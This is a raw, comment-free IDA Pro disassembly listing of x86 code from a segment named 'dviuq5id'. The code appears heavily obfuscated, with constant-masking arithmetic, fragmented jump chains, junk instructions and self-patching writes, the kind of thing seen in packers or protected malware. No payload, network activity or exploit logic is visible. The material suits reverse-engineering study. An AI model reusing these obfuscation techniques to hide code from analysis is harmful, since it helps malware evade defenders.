		mov	[ebp-0Ch], eax
		xor	eax, eax
		jmp	loc_448932
; END OF FUNCTION CHUNK	FOR sub_458A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440347

loc_439FD3:				; CODE XREF: sub_440347+2j
		call	sub_4558A5
; END OF FUNCTION CHUNK	FOR sub_440347
; START	OF FUNCTION CHUNK FOR sub_44C8E3

loc_439FD8:				; CODE XREF: sub_44C8E3+6C8Dj
		jmp	loc_43B8DB
; END OF FUNCTION CHUNK	FOR sub_44C8E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459F64

loc_439FDD:				; CODE XREF: sub_459F64-15A7Bj
		jmp	nullsub_401
; END OF FUNCTION CHUNK	FOR sub_459F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EEAA

loc_439FE2:				; CODE XREF: sub_44EEAA-D23Ej
		jmp	sub_44D2A8
; END OF FUNCTION CHUNK	FOR sub_44EEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_439FE7:				; CODE XREF: sub_45169D-FB03j
		jmp	loc_443C47
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F787

loc_439FEC:				; CODE XREF: sub_44F787:loc_4504F0j
		pop	esi
		add	eax, 18h
		mov	[ebp-14h], eax
		call	sub_442C47

loc_439FF8:				; CODE XREF: dviuq5id:00441942j
		jmp	nullsub_451
; END OF FUNCTION CHUNK	FOR sub_44F787
; ---------------------------------------------------------------------------

loc_439FFD:				; CODE XREF: dviuq5id:0043C207j
		jmp	loc_43DF5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C52

loc_43A002:				; CODE XREF: sub_446C52-AD09j
		jmp	sub_441C54
; END OF FUNCTION CHUNK	FOR sub_446C52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43A007:				; CODE XREF: sub_43FAE1:loc_43BFEEj
		push	eax
		mov	eax, edx
		call	sub_43D7C1
		mov	eax, [esp+4+var_4]
		jmp	loc_43C8D2
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_43A017:				; CODE XREF: sub_4411C6+F0ADj
					; dviuq5id:00452586j
		add	ebx, 5E244B31h
		xchg	ebx, [esp-8+arg_0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_43A025:				; CODE XREF: sub_44846C-C661j
		jge	nullsub_205
		cdq

loc_43A02C:				; CODE XREF: sub_44846C:loc_43BDFEj
		xor	esi, 45C7D741h
		add	esi, 793FE8B8h
		cmp	esi, 2FC63DC0h
		jmp	loc_44165C
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_43A043:				; CODE XREF: sub_43C710+DC6Aj
		pushf
		push	0D3935CD8h
		pop	edx
		xor	edx, 6C0753C9h
		test	edx, 1000h
		jmp	loc_43B52C
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_43A05B:				; CODE XREF: sub_43C46D:loc_4406D9j
		jge	loc_4526C0
		or	ecx, 0F06823D3h
		not	eax
		jmp	loc_4526B9
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------

loc_43A06E:				; CODE XREF: dviuq5id:0044EC9Cj
		rol	ecx, 0Dh
		add	ecx, 68793346h
		call	sub_43D6B1
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43A07C:				; CODE XREF: sub_43BD72+35B4j
		jmp	loc_43B6D1
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
		push	offset loc_43F0A8
		jmp	loc_443323
; ---------------------------------------------------------------------------

loc_43A08B:				; CODE XREF: dviuq5id:0045008Ej
		add	ecx, 57270F2Ch
		and	esi, edi
		mov	ebp, edx

loc_43A095:				; CODE XREF: dviuq5id:00450071j
		and	esi, 0A997DD1Ch

loc_43A09B:				; CODE XREF: dviuq5id:004484ADj
		xor	esi, 0B9852861h
		add	esi, 0F030D0A9h
		xchg	esi, [esp]
		jmp	loc_44DEEB
; ---------------------------------------------------------------------------

loc_43A0AF:				; CODE XREF: dviuq5id:0044C5F6j
		jnz	loc_43E77C
		jmp	loc_450F85
; ---------------------------------------------------------------------------
		xchg	esi, ecx
		jmp	sub_452BBF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43A0C2:				; CODE XREF: sub_440898+11B57j
		jmp	loc_455FAC
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45327C

loc_43A0C7:				; CODE XREF: sub_45327C-E5FEj
		mov	[esi], eax
		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_45327C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418CF

loc_43A0D0:				; CODE XREF: sub_4418CF+DC4Aj
		jmp	loc_442218
; END OF FUNCTION CHUNK	FOR sub_4418CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43A0D5:				; CODE XREF: sub_43FAE1+F926j
		jmp	loc_441B6A
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_43A0DA:				; CODE XREF: sub_43F285-57A1j
		rol	eax, 12h
		push	ebp
		jmp	loc_44F234
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------

loc_43A0E3:				; CODE XREF: dviuq5id:loc_443D7Dj
		jnz	loc_451FF3
		jmp	loc_453AF8
; ---------------------------------------------------------------------------

loc_43A0EE:				; DATA XREF: sub_43C3D8+1DA72o
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_43A0F1:				; CODE XREF: sub_43C3D8+1158Ej
					; sub_43C3D8+1688Ej ...
		mov	eax, [ebp-1Ch]
		call	sub_440A7F
		mov	[ebp-8], eax
		jmp	loc_4599CE
; END OF FUNCTION CHUNK	FOR sub_43C3D8

; =============== S U B	R O U T	I N E =======================================



sub_43A101	proc near		; CODE XREF: dviuq5id:loc_43BBDFp
					; sub_455400:loc_43BF1Dp ...

; FUNCTION CHUNK AT 0043A7C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443714 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A6D1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044BA35 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004586E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00459A3A SIZE 00000021 BYTES

		jnz	sub_459BBA
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_43A7C7
sub_43A101	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_43A110:				; CODE XREF: sub_44E1C0-5CF8j
		jnz	loc_454C06
		jmp	loc_45A5A8
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_43A11B:				; CODE XREF: sub_44B70C:loc_4555AAj
		jge	loc_44E367

loc_43A121:				; CODE XREF: sub_43A887+16ACCj
		jmp	loc_4409B0
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------

loc_43A126:				; CODE XREF: dviuq5id:00444F6Fj
		jmp	loc_4526F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_43A12B:				; CODE XREF: sub_4437F7-78DFj
		jmp	sub_454AAA
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_44E359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_43A136:				; CODE XREF: sub_43E6A7:loc_442B8Fj
		ror	ebp, 17h
		adc	ebx, eax
		jmp	loc_454C71
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
		call	sub_456F43
		mov	edx, 6FDE1A91h
		call	sub_449EB7
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43A14F:				; CODE XREF: sub_454267:loc_45427Fj
		call	sub_456F43
		mov	edx, 30DFC367h
		jmp	loc_43B227
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_43A15E:				; CODE XREF: dviuq5id:0045793Dj
		add	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_43A160	proc near		; CODE XREF: sub_451B18-197Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A6F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401E0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004402C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044315A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044385D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443DDA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004444AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004449D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004482B9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CC8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044AA73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DCE5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044E87F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045131A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00451AF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453725 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00454761 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455DE6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00457190 SIZE 0000000D BYTES

		xchg	edi, [esp+0]

loc_43A163:				; CODE XREF: dviuq5id:004480E6j
		pop	edi
		push	ebx
		push	8AC60CA2h
		pop	ebx
		sub	ebx, 0BE4052C0h
		cmp	ebx, 0DE0DAEE8h
		jmp	loc_45131A
sub_43A160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43A17C:				; CODE XREF: dviuq5id:004455F6j
		jge	loc_458296
		sub	ecx, 253CC2Bh
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43A188:				; CODE XREF: sub_44C6B8:loc_4444B6j
		add	edi, 6AC11197h
		add	edi, ebp
		add	edi, 0F8044CD3h
		mov	al, [edi]
		pop	edi
		mov	esp, ebp
		jmp	loc_457C04
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443563

loc_43A1A0:				; CODE XREF: sub_443563+Ej
		push	offset sub_459BC0
		jmp	loc_454CC6
; END OF FUNCTION CHUNK	FOR sub_443563

; =============== S U B	R O U T	I N E =======================================



sub_43A1AA	proc near		; CODE XREF: dviuq5id:00441840p
					; dviuq5id:00458804j
		xchg	eax, [esp+0]
		pop	eax
		call	sub_453642
		call	sub_44A133
sub_43A1AA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44D42F

loc_43A1B8:				; CODE XREF: sub_44D42F+79DDj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44D42F

; =============== S U B	R O U T	I N E =======================================



sub_43A1BD	proc near		; DATA XREF: sub_442503:loc_458174o

; FUNCTION CHUNK AT 0044D266 SIZE 0000000E BYTES

		call	sub_456F43
		mov	edx, 0D504D785h
		call	sub_449EB7
		push	eax
		jmp	loc_44D266
sub_43A1BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_43A1D2:				; CODE XREF: sub_450B01+252Aj
		call	sub_43BE30

loc_43A1D7:				; DATA XREF: sub_43CA3C+Do
		push	edi
		push	8A4732D9h
		pop	edi
		and	edi, 76CDBE67h
		or	edi, 0FEF09832h
		xor	edi, 5189E902h
		and	edi, 99DA7B1Ch
		add	edi, 76ECBF3Ch
		jmp	loc_44C5AE
; END OF FUNCTION CHUNK	FOR sub_450B01

; =============== S U B	R O U T	I N E =======================================



sub_43A201	proc near		; CODE XREF: sub_451EC6:loc_43F3BFj
					; sub_4477D7:loc_4434DCp ...
		push	offset sub_458A47
		jmp	nullsub_25
sub_43A201	endp

; ---------------------------------------------------------------------------

loc_43A20B:				; CODE XREF: dviuq5id:loc_456A8Dj
		pop	esi
		or	esi, 0E4ACA324h
		add	esi, 1992D562h
		mov	[esi], eax
		jmp	loc_43CCCC
; ---------------------------------------------------------------------------

loc_43A21F:				; CODE XREF: dviuq5id:loc_439E54j
		mov	esi, edx
		xchg	esi, [esp]
		push	esi
		push	0F8021E8Dh
		xchg	eax, [esp]
		jmp	loc_43F303
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_43A232:				; CODE XREF: sub_446181+D0C3j
		xchg	edx, [esp+4+var_4]
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		call	sub_44FD8E

loc_43A23F:				; CODE XREF: sub_43FA59:loc_444722j
		jmp	loc_451D75
; END OF FUNCTION CHUNK	FOR sub_446181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A245	proc near		; CODE XREF: sub_44EA54+3p
					; sub_44EC31+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DDBF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043FABC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004425D9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_43FABC
sub_43A245	endp

; ---------------------------------------------------------------------------
		test	eax, 0BF0D4218h
		jmp	loc_441177
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43A25E:				; CODE XREF: sub_44EAC4+735Ej
		jg	sub_448800
		jmp	loc_441352
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43A269:				; CODE XREF: sub_44B2EA-DE53j
		ror	eax, 8
		mov	ds:dword_453D30, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466B6

loc_43A273:				; CODE XREF: sub_4466B6+Cj
		jmp	loc_43F4B3
; END OF FUNCTION CHUNK	FOR sub_4466B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43A278:				; CODE XREF: sub_44B2EA-D6E2j
		call	sub_450817

loc_43A27D:				; CODE XREF: sub_4420DF-EB6j
		test	edi, 7131E47h
		jmp	loc_44A0F5
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

locret_43A288:				; CODE XREF: dviuq5id:loc_43907Aj
		retn
; ---------------------------------------------------------------------------

loc_43A289:				; CODE XREF: dviuq5id:00453F7Fj
		jmp	loc_43B86D
; ---------------------------------------------------------------------------

loc_43A28E:				; DATA XREF: sub_4588C8+11o
		cmp	dword ptr [ebp-4], 0

loc_43A292:				; CODE XREF: dviuq5id:loc_4521BCj
		jmp	loc_43E70E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43A297:				; CODE XREF: sub_43FDFB:loc_43C1DFj
		cmp	byte ptr [ebp-5], 0
		jnz	loc_43B8FB
		jmp	loc_4450BB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_401. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43A2A7:				; CODE XREF: sub_439A5E+4D6Fj
		jmp	loc_440CCD
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_43A2AC:				; CODE XREF: sub_4584CA+Aj
		call	sub_43FEBB
		push	283C65E0h
		pop	eax
		add	eax, 0A633EF51h
		jmp	loc_44AE92
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------

loc_43A2C2:				; CODE XREF: dviuq5id:loc_44D58Cj
		add	ecx, 1578FF22h
		pop	esi
		jmp	loc_447834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_43A2CE:				; CODE XREF: sub_43DCB4:loc_439CF1j
		jz	loc_44EFA4
		jmp	loc_44A035
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CEFF

loc_43A2D9:				; CODE XREF: sub_44CEFF+14j
		push	4C7E7DF2h
		pop	esi
		or	esi, 0E243E93Ch
		sub	esi, 0C66F3773h
		xor	esi, 0DDA6114Fh
		sub	eax, esi
		push	offset loc_43C1F4

loc_43A2F8:				; CODE XREF: sub_454094:loc_451074j
		jmp	loc_44510B
; END OF FUNCTION CHUNK	FOR sub_44CEFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_43A2FD:				; CODE XREF: sub_4411C6:loc_450279j
		push	edx

loc_43A2FE:				; CODE XREF: sub_454094:loc_43DBE9j
		mov	eax, 2F735BB2h
		sbb	ebp, 0AEDC7DDBh
		jmp	loc_45633D
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443328

loc_43A30E:				; CODE XREF: sub_443328:loc_45855Ej
		call	sub_44A6A4

loc_43A313:				; CODE XREF: dviuq5id:0043E943j
		jmp	loc_452C0C
; END OF FUNCTION CHUNK	FOR sub_443328
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_43A319:				; CODE XREF: sub_442503:loc_43B4F4j
					; dviuq5id:00444CB1j
		rol	eax, 3
		push	edi
		mov	edi, eax
		xchg	edi, [esp+8+var_8]
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_442503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_43A328:				; CODE XREF: sub_440C61+1797Bj
		jmp	loc_446BE9
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_43A32D:				; CODE XREF: sub_450217+7j
		jmp	loc_45A1CB
; END OF FUNCTION CHUNK	FOR sub_450217

; =============== S U B	R O U T	I N E =======================================



sub_43A332	proc near		; DATA XREF: dviuq5id:00450AD5o
		add	ebx, 1174B885h
		xchg	ebx, [esp+0]
		jmp	sub_444ADC
sub_43A332	endp

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_44DBD5
		jmp	loc_45937B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_43A34D:				; CODE XREF: sub_458BA4:loc_4397C7j
		push	1A9F80A8h
		pop	eax
		sub	eax, 0D9401D5Ah
		xor	eax, 1B7CEE31h
		rol	eax, 1Eh
		jmp	loc_444FFF
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
		or	edx, eax
		jmp	sub_4570A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43A36E:				; CODE XREF: sub_440898:loc_456D33j
		push	0CB038D37h
		not	edi
		jmp	loc_45911F
; END OF FUNCTION CHUNK	FOR sub_440898
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A37B:				; CODE XREF: dviuq5id:00444AC8j
		test	ebx, 0AFB0F001h
		jmp	loc_44B82E

; =============== S U B	R O U T	I N E =======================================



sub_43A386	proc near		; CODE XREF: sub_455600+9j

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 0043CD70 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044E82C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00458E5A SIZE 0000000B BYTES

		add	esp, 0FFFFFFF0h
		push	edx
		push	55327080h
		pop	edx
		jmp	loc_43CD70
sub_43A386	endp

; ---------------------------------------------------------------------------
		push	edx
		jmp	sub_4434EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_43A39B:				; CODE XREF: sub_44AB80+CC3Ej
		add	ecx, edx
		test	eax, edx
		jmp	loc_443023
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_43A3A4:				; CODE XREF: dviuq5id:0043AC41j
		pop	esi
		jmp	loc_44C465
; ---------------------------------------------------------------------------

loc_43A3AA:				; CODE XREF: dviuq5id:loc_43C7AAj
		jnb	loc_445D6B
; START	OF FUNCTION CHUNK FOR sub_44F505

loc_43A3B0:				; CODE XREF: sub_44F505+Aj
		jmp	loc_43EB31
; END OF FUNCTION CHUNK	FOR sub_44F505
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_43A3B5:				; CODE XREF: sub_4547E2-18260j
		jmp	loc_44871C
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
		sub	eax, ebx
		jmp	loc_445D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_43A3C1:				; CODE XREF: sub_441F76:loc_4448C3j
		cmp	eax, ds:dword_446E04
		jz	loc_449056

loc_43A3CD:				; CODE XREF: sub_44E657:loc_4448B1j
					; sub_44E389+10j
		jns	loc_4445DE
		mov	eax, [ebp-4]
		call	sub_45509B
		jmp	loc_4571C2
; END OF FUNCTION CHUNK	FOR sub_441F76

; =============== S U B	R O U T	I N E =======================================



sub_43A3E0	proc near		; CODE XREF: dviuq5id:0044114Bp
					; dviuq5id:0044F850j

; FUNCTION CHUNK AT 00439D32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F7AD SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0D687052Dh
		mov	eax, [eax]
		jmp	loc_44F7AD
sub_43A3E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_43A3F1:				; CODE XREF: sub_450217+1C1j
		ja	loc_44CA83

loc_43A3F7:				; CODE XREF: sub_450217:loc_453412j
		push	ecx

loc_43A3F8:				; CODE XREF: dviuq5id:00454EA4j
		push	402E7467h
		pop	ecx
		or	ecx, 38DA18BEh
		jmp	loc_43B87B
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------

loc_43A409:				; CODE XREF: dviuq5id:004481C1j
					; dviuq5id:0044977Ej ...
		jno	loc_44621F
		mov	eax, ds:dword_44DF0C
		mov	edx, [ebp-4]
		mov	byte ptr [eax+edx], 0

loc_43A41B:				; CODE XREF: dviuq5id:00450FC3j
		jmp	loc_44ECF8
; ---------------------------------------------------------------------------

loc_43A420:				; CODE XREF: dviuq5id:loc_453D29j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_500
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43D28E

loc_43A432:				; CODE XREF: dviuq5id:004483BEj
		jmp	loc_44F0FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_43A437:				; CODE XREF: sub_443F7F:loc_452ACCj
		jz	loc_456A1E
		jmp	loc_450036
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		adc	eax, ebx
		jmp	sub_446AB8

; =============== S U B	R O U T	I N E =======================================



sub_43A449	proc near		; CODE XREF: sub_43C4B5:loc_4416EDp
					; dviuq5id:004481F8j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441CB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D5BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004532F9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00454929 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		push	ebp
		jmp	loc_454929
sub_43A449	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43A456:				; CODE XREF: dviuq5id:loc_4504F5j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E40D

loc_43A457:				; CODE XREF: sub_43E40D+1C135j
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_43E40D
; ---------------------------------------------------------------------------

locret_43A45C:				; CODE XREF: dviuq5id:00449B26j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA3C

loc_43A45D:				; CODE XREF: sub_43CA3C+12j
		jmp	nullsub_515
; END OF FUNCTION CHUNK	FOR sub_43CA3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_43A462:				; CODE XREF: sub_454117-178B4j
		jmp	loc_453E51
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442852

loc_43A467:				; CODE XREF: sub_442852:loc_43907Fj
		mov	esp, ebp

loc_43A469:				; CODE XREF: dviuq5id:004413B8j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_442852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_43A46B:				; CODE XREF: sub_440294+4j
					; sub_44B02F-1951j
		call	sub_44B02F

loc_43A470:				; CODE XREF: sub_454117+F69j
		jmp	nullsub_373
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_43A475:				; CODE XREF: sub_43DCB4+112F6j
		jmp	loc_451F4A
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C53D

loc_43A47A:				; CODE XREF: sub_43C53D+Aj
		jmp	nullsub_518
; END OF FUNCTION CHUNK	FOR sub_43C53D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_43A47F:				; CODE XREF: sub_4440E9-7CFDj
		cmp	dword ptr [ebp-10Ch], 36343831h
		jnz	loc_446D87
		jmp	loc_440F35
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
		push	3F0B63EBh
		pop	eax
		and	eax, 649F1DC8h
		sub	eax, 5F1A946Ah
		xor	eax, 0A78A1918h
		jmp	loc_44C907
; ---------------------------------------------------------------------------
		sbb	eax, 38AD4FAAh
		jmp	loc_440292
; ---------------------------------------------------------------------------
		js	loc_444816
		jmp	sub_442437
; ---------------------------------------------------------------------------
		ja	loc_442C02
		jmp	sub_445EA1
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_4402DF
; ---------------------------------------------------------------------------
		and	ecx, 0D210081Eh
		jmp	loc_44F11B
; ---------------------------------------------------------------------------

loc_43A4E3:				; CODE XREF: dviuq5id:loc_45831Aj
		add	eax, ebp
		add	eax, 1BE54B9Dh
		mov	eax, [eax]
		mov	al, [eax]
		jno	loc_449471
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_4427BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_43A4FF:				; CODE XREF: sub_446181:loc_443C2Fj
		jz	loc_456D04
		jmp	loc_44984A
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------

loc_43A50A:				; CODE XREF: dviuq5id:loc_456A31j
		rol	ebx, 0Eh
		and	ebx, 0DCE7B6D0h
		xor	ebx, 7B754362h
		add	ebx, 98B3A336h
		xchg	ebx, [esp]
		jmp	nullsub_193
; ---------------------------------------------------------------------------

loc_43A527:				; CODE XREF: dviuq5id:004436C7j
		jnb	loc_44F669
		shl	edx, 0Eh

loc_43A530:				; CODE XREF: dviuq5id:loc_441BD6j
		mov	eax, [esp]
		call	sub_452A73
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43A538:				; CODE XREF: dviuq5id:00445BF5j
					; sub_442BFE+345Dj
		xchg	eax, [esp+4+var_4]

loc_43A53B:				; CODE XREF: sub_441C84:loc_443E0Dj
		mov	edx, eax
		jmp	loc_43FDB4
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_43A542:				; CODE XREF: sub_45944F:loc_457793j
		push	eax
		pushf
		push	0B07728B2h
		pop	eax
		jmp	loc_44DF6A
